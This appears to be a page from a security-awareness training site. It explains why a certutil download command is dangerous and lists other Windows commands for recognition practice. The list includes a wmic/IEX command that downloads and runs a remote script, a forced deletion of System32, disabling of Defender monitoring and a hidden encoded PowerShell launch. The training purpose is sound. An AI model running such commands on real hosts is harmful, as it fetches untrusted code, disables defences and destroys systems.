Dangerous
certutil.exe -urlcache -split -f https://example.com/update.txt update.txtwindows · powershell · Expert
Abuses a signed Microsoft certificate utility as a file downloader. The binary is legitimate and present on every Windows host, which is exactly why it is chosen: it downloads without touching a browser or a tool that looks out of place.
Signals to notice
- Signed system binary used as a downloader
- -urlcache -split is a known download idiom
- Blends into normal Windows activity
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatepowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedwmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare